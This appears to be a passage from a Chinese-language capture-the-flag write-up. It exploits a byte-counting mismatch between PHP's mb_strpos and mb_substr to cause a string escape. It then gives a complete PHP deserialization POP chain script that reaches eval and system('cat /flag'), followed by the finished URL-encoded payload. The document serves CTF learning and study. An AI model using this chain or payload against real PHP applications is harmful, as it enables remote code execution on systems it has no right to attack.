每发送一个%f0abc,mb_strpos认为是4个字节,mb_substr认为是1个字节,相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节,mb_substr认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节,mb_substr认为是1个字节,相差1个字节

unicode占4字节,mb_substr会将数据%f0abc中的ab拿去补全四字节,从而认为该数据只有c的一个字节
%f0%9fab这种则会保留最少一位b,所以又认为只有一字节

根据原先构造链输出我们需要的数据是不需要前面这38位的,可以利用以上知识利用字符串逃逸来截取掉这38位数据只留我们的payload

image-20240921171018546

最终exp,别忘了将生成数据键名改为1!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
$a = "%f0abc";
error_reporting(0);
function substrstr($data)//提权中括号之间的内容
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}

class Hacker
{
    public $start;
    public $end;
    public $username = "ctfer";
    public function __wakeup()
    {
        $this->username = "hacker";
        $this->end = $this->start;
    }

    public function __destruct()
    {
        if (!preg_match('/ctfer/i', $this->username)) {
            echo 'Hacker!';
        }
    }
}

class C
{
    public $c;

    public function __toString()
    {
        $this->c->c();
        return "C";
    }
}

class T
{
    public $t;

    public function __call($name, $args)
    {
        echo $this->t->t;
    }
}

class F
{
    public $f;

    public function __get($name)
    {
        return isset($this->f->f);
    }

}

class E
{
    public $e;

    public function __isset($name)
    {
        ($this->e)();
    }

}

class R
{
    public $r;

    public function __invoke()
    {
        eval($this->r);
    }
}
$s1 = new R();
$s1->r = "system('cat /flag');";
$s2 = new E();
$s2->e = $s1;
$s3 = new F();
$s3->f = $s2;
$s4 = new T();
$s4->t = $s3;
$s5 = new C();
$s5->c = $s4;
$s6 = new Hacker();
$s6->end = &$s6->username;
$s6->start = $s5;
$s7 = array('1'=>$s6,'2'=>null);
//echo serialize($s7)."\n";
//echo urlencode(serialize($s7))."\n";
echo "?substr=".str_repeat($a,12)."%f0%9fab&ez[ser.from_you=".urlencode(serialize($s7))."\n";

payload

1
%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a%3A2%3A%7Bi%3A1%3BO%3A6%3A%22Hacker%22%3A3%3A%7Bs%3A5%3A%22start%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A1%3A%22c%22%3BO%3A1%3A%22T%22%3A1%3A%7Bs%3A1%3A%22t%22%3BO%3A1%3A%22F%22%3A1%3A%7Bs%3A1%3A%22f%22%3BO%3A1%3A%22E%22%3A1%3A%7Bs%3A1%3A%22e%22%3BO%3A1%3A%22R%22%3A1%3A%7Bs%3A1%3A%22r%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D%7D%7D%7D%7Ds%3A3%3A%22end%22%3Bs%3A5%3A%22ctfer%22%3Bs%3A8%3A%22username%22%3BR%3A9%3B%7Di%3A1%3BN%3B%7D

solved!

image-20240921171352591